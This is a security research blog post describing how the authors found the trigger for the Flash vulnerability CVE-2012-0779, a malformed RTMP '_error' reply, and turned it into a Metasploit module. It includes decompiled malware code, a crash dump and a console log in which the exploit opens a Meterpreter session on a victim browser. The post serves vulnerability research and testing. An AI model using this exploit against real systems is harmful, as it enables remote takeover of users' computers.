Last updated at Wed, 27 Sep 2017 21:40:48 GMT

Ever since the first sightings of a new zero-day attack (CVE-2012-0779) on Adobe Flash last month, the exact path of exploitation has been somewhat of a mystery. The attacks were specifically targeted against defense contractors and other victims as part of a spear phishing attack, and included a Word document with a Flash (SWF) object. The infected machines were observed to contacting malicious servers in China, Korea, and the United States. While the vulnerability has since been patched by Adobe, we were interested in how the exploit worked so we could add an exploit module to Metasploit, which enables organizations to verify if they are vulnerable to an attack.

Though the malware's behavior is well-documented, there was little information on the trigger, which is the method to create an application crash associated with the vulnerability. By the time most researchers read about the attack, the crucial clue revealing the trigger -- the Real Time Messaging Protocol (RTMP) server -- was already offline.

Here is our story of how we researched this exploit:

Initially, we found a sample of the malware, and starting analyzing the SWF (Shockwave File). We found the SWF's spray, a software exploitation technique that allows the attacker to manipulate the application's memory allocations, which can be used to control a specific region of memory, and then gain code execution when a crash occurs. The SWF also had a payload, which takes control over the computer once compromised, and an RTMP communication attempt... but we found no trigger. After some more digging, we concluded the vulnerability is most likely due to the handling of AMF (Action Message Format) messages with RTMP (comments quoted from Adobe ActionScript 3.0 Reference for the Adobe Flash Platform):

public function v42(_arg1:String):void{  
  // The NetConnection class creates a two-way connection  
  // between a client and a server. The client can be a Flash  
  // Player or AIR application. The server can be a web server,  
  //Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service  
    this.v15 = new NetConnection();  
  var _local2 = "rtmp://";  
  var _local3 = "/TSGeneralSetting";  
  var _local4:String = ((_local2 + _arg1) + _local3);  
  // Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way  
  // network endpoint for RTMFP peer-to-peer group communication  
  // Calls a command or method on Flash Media Server or on an application server running Flash Remoting"systemMemoryCall", this.v16, "argc");  

Not having access to a malicious RTMP server, we set up our own Flash Media Server, and inspected the intended communication:

Our first guess was that the trigger was related to the parsing of the systemMemoryCall() response. But our RTMP server didn't recognize this function call, and returned an AMF error message. Since we didn't have the original trigger RTMP server, the trail went cold, and eventually we decided to move on to other things.

This part is also where other researchers stop their analysis and gave up.

Thankfully, we got our hands on a PCAP that captured the RTMP communication between an infected machine vs the actual RTMP server. First thing we did was comparing the legit "systemMemorycall" response from a Flash Media Server with the malicious one:

In the case of the "_error" response from the malicious RTMP server, it is definitely malformed according to the RTMP specification from Adobe, which should look like this:

Field Name Type Description
Command Name String _error indicates an error
Transaction ID Number Transaction ID
Information Object Name-value pairs that describe the response from

After playing with the RTMP "_error" response, we were finally able to trigger an exploitable crash from Adobe Flash:

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
0:000> u eip
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

Because the type confusion is triggered when handling malformed RTMP _error messages, you don't need to wait for the systemMemoryCall() request. Instead, a malicious RTMP server can just return a crafted "_error" to a "connect" RTMP command (according to the RTMP specification). This made it much easier to build the Metasploit module.

While Metasploit supports a variety of mixins for many different protocols, none existed for RTMP, so we built one using the "Rex::Socket::TcpServer" API -- just enough to talk RTMP with the client, delivering the protocol handshake and serving the malicious _error response messages for "connect" requests.

After completing our exploit voodoo ritual, we present to you this new Metasploit module for CVE-2012-0779, which works on Internet Explorer 6, 7 and 8 (with DEP bypass) on Windows XP SP3:

msf > use exploit/windows/browser/adobe_flash_rtmp
msf  exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on
[*] Using URL:
[*]  Local IP:
[*] Server started.
msf  exploit(adobe_flash_rtmp) > [*]    adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*]    adobe_flash_rtmp - Using msvcrt ROP
[*]    adobe_flash_rtmp - Sending html
[*]    adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*]    adobe_flash_rtmp - Sending Exploit SWF
[*]    adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2012-06-22 11:11:16 +0200
[*] Session ID 1 ( -> processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process

If you would like to try out this new module, get your free Metasploit download now or update your existing installation.

sinn3r & juan